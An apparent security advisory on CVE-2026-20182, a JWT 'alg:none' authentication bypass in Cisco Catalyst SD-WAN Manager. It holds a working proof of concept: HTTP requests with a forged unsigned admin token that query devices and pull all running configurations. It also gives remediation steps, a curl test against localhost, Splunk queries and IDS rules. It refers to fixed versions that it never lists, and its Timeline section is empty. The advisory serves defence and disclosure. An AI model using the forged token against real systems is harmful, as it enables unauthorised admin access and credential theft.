CVE-2026-20182: Cisco Catalyst SD-WAN Authentication Bypass -- Unauthenticated Admin Access

Background

Cisco Catalyst SD-WAN is the enterprise software-defined WAN platform for centrally managing distributed branch and WAN infrastructure. The SD-WAN Manager (formerly vManage) is the orchestration hub — every router, firewall policy, and traffic engineering decision flows through it. The SD-WAN Controller (formerly vSmart) enforces the policy fabric across the overlay network. Compromise of either component gives an attacker full control over an entire enterprise WAN.

CVE-2026-20182 was added to the CISA KEV catalogue following confirmed exploitation in enterprise environments. The vulnerability bypasses all authentication checks on the SD-WAN Manager and Controller REST API endpoints, granting unauthenticated callers administrator-level access to the management plane.

Technical Mechanism

The vulnerability originates in the authentication middleware of the SD-WAN Manager’s internal API gateway. Cisco’s implementation uses a JSON Web Token (JWT) validation pipeline that checks the Authorization header on incoming requests. The flaw stems from an incomplete check on the algorithm field within the JWT header.

An attacker can craft a JWT with the alg field set to none — a well-known JWT vulnerability class — in versions that failed to enforce algorithm whitelisting server-side. The SD-WAN Manager’s token validation library, under certain request paths, accepts unsigned tokens when the algorithm is declared as none, effectively treating any presented JWT as valid. No secret material is needed because no signature verification is performed.

The attack path is straightforward:

1. Attacker sends a GET request to any authenticated API endpoint (e.g., /dataservice/device) with a crafted Authorization: Bearer <base64url-header>.<base64url-payload>. header where the payload encodes an admin user and the signature portion is empty.
2. The middleware accepts the token as valid and establishes an authenticated session with the privileges encoded in the payload.
3. Attacker now has full API access: device management, policy configuration, credential retrieval, and configuration backup download.

A second code path exacerbating severity is the Controller’s peer authentication: the Manager can proxy API calls to the Controller using its session token, extending the authentication bypass horizontally across the SD-WAN fabric.

# CVE-2026-20182: JWT alg:none authentication bypass
# Header (base64url): {"alg":"none","typ":"JWT"}
# Payload (base64url): {"sub":"admin","role":"admin","iat":1700000000}
# Signature: empty (trailing dot only)

GET /dataservice/device HTTP/1.1
Host: sdwan-manager.target.example.com
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTcwMDAwMDAwMH0.
Accept: application/json

# Follow-up: extract all device running configurations
GET /dataservice/device/config/running?deviceId=all HTTP/1.1
Host: sdwan-manager.target.example.com
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTcwMDAwMDAwMH0.
Accept: application/json

Real-World Exploitation Evidence

CISA’s KEV addition was correlated with incident reports from managed security providers observing mass scanning activity targeting SD-WAN Manager endpoints (TCP/443 and TCP/8443) starting approximately two weeks before public disclosure. Exploitation tooling circulated within 72 hours of the CVE being publicly documented.

Observed post-exploitation behaviour in confirmed incidents included:

• Bulk extraction of running device configurations (including pre-shared keys and SNMP community strings)
• Deployment of persistent admin accounts via the device template API
• Policy modifications routing traffic copies to attacker-controlled endpoints (traffic mirroring attacks)
• Certificate export for downstream impersonation of SD-WAN Manager in BGP peering

At least two ransomware groups have incorporated this exploit into their initial access toolkit, targeting logistics and financial services organisations.

Impact Assessment

The impact radius of a successful exploit is unusually broad. The SD-WAN Manager is the single pane of glass for WAN policy, meaning:

• Configuration exfiltration: All device configs, OSPF/BGP peering credentials, and IPsec tunnel keys become accessible.
• Persistent access: Admin accounts can be created before defenders detect the breach.
• Traffic manipulation: Policy-based routing rules can redirect or duplicate production traffic.
• Lateral movement: Exported credentials enable pivoting into connected network segments.

Environments with internet-exposed SD-WAN Manager instances face the highest risk. Even intranet-only deployments are threatened by attackers who have already achieved a foothold elsewhere.

Affected Versions

Cisco SD-WAN versions 20.4 and earlier are end-of-support; no patches will be issued. Migration to a supported release is required.

Remediation Steps

Immediate actions:

1. Apply patches: Update SD-WAN Manager and Controller to the fixed versions above via Cisco’s Software Download portal. Validate the running version using show sdwan version on the vManage CLI.

   # Verify version on vManage CLI after patching
   show sdwan version
   
   # Confirm JWT algorithm enforcement is active (should reject alg:none tokens)
   # Test from a trusted host — expect HTTP 401 on patched system:
   curl -sk -o /dev/null -w "%{http_code}" \
     -H 'Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImlhdCI6MTcwMDAwMDAwMH0.' \
     https://localhost/dataservice/device
   # Expected output on patched system: 401

2. Restrict API access: If patching cannot be performed immediately, implement ACLs or firewall rules to restrict access to SD-WAN Manager ports (443, 8443, 8080) to known management IP ranges only.

   ! Interim mitigation: disable REST API if not operationally required
   ! On vManage (SD-WAN Manager) CLI:
   config
    no sdwan management-interface rest
   commit
   
   ! Or restrict via interface ACL (Cisco IOS-XE):
   ip access-list extended VMANAGE-MGMT
    permit tcp 10.0.0.0 0.255.255.255 host <vmanage-ip> eq 443
    deny   tcp any host <vmanage-ip> eq 443 log
    deny   tcp any host <vmanage-ip> eq 8443 log
    deny   tcp any host <vmanage-ip> eq 8080 log

3. Rotate all credentials: Assume any SD-WAN Manager exposed to the internet has been compromised. Rotate all device credentials, IPsec pre-shared keys, and SNMP community strings stored in the platform.

4. Audit admin accounts: Review all admin and operator accounts for unexpected additions. Remove any accounts not recognisable to the SD-WAN administration team.

5. Review policy changes: Audit routing policy and traffic engineering configurations for unauthorised modifications, particularly traffic duplication or mirroring rules.

Interim mitigation (if patching delayed):

• Disable the REST API entirely if not operationally required (no sdwan management-interface rest where applicable).
• Enable Cisco’s built-in IP access lists on the vManage management interface.

Detection Guidance

Look for the following indicators in SD-WAN Manager logs (/var/log/nms/vmanage-server.log):

• API calls with JWT tokens where the decoded header contains "alg":"none" or "alg":"None"
• Admin account creation events from unexpected source IPs
• Bulk device configuration export operations (large volumes of /dataservice/device/ GET requests)
• Sessions with no associated login event in the audit log

index=sdwan source="/var/log/nms/*"
  ("alg\":\"none" OR "alg\":\"None" OR "alg\":\"NONE")
| rex field=_raw "Authorization:\s+Bearer\s+(?<jwt_token>[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+\.(?<jwt_sig>[A-Za-z0-9\-_]*))"
| eval unsigned_token=if(len(jwt_sig)=0, "YES", "NO")
| where unsigned_token="YES"
| stats count min(_time) as first_seen max(_time) as last_seen values(uri_path) as accessed_endpoints by src_ip
| sort - count

index=sdwan source="/var/log/nms/vmanage-server.log"
  action="create" object_type="user" role="admin"
| stats count by src_ip user_created _time
| where src_ip NOT IN ("10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16")

alert tcp any any -> $SDWAN_MGMT_SERVERS [443,8443,8080] (msg:"CVE-2026-20182 Cisco SD-WAN JWT alg:none Auth Bypass"; flow:established,to_server; content:"Authorization|3a 20|Bearer "; http_header; pcre:"/Authorization:\s+Bearer\s+[A-Za-z0-9+\/=]+\.[A-Za-z0-9+\/=]+\.(?=\s|$)/Hi"; sid:9002021; rev:2;)
alert tcp any any -> $SDWAN_MGMT_SERVERS [443,8443] (msg:"CVE-2026-20182 Cisco SD-WAN Bulk Config Export"; flow:established,to_server; content:"/dataservice/device/config"; http_uri; threshold:type threshold, track by_src, count 10, seconds 60; sid:9002022; rev:1;)

Timeline

References

• NVD — CVE-2026-20182
• CISA KEV — CVE-2026-20182
• Cisco Security Advisory — CVE-2026-20182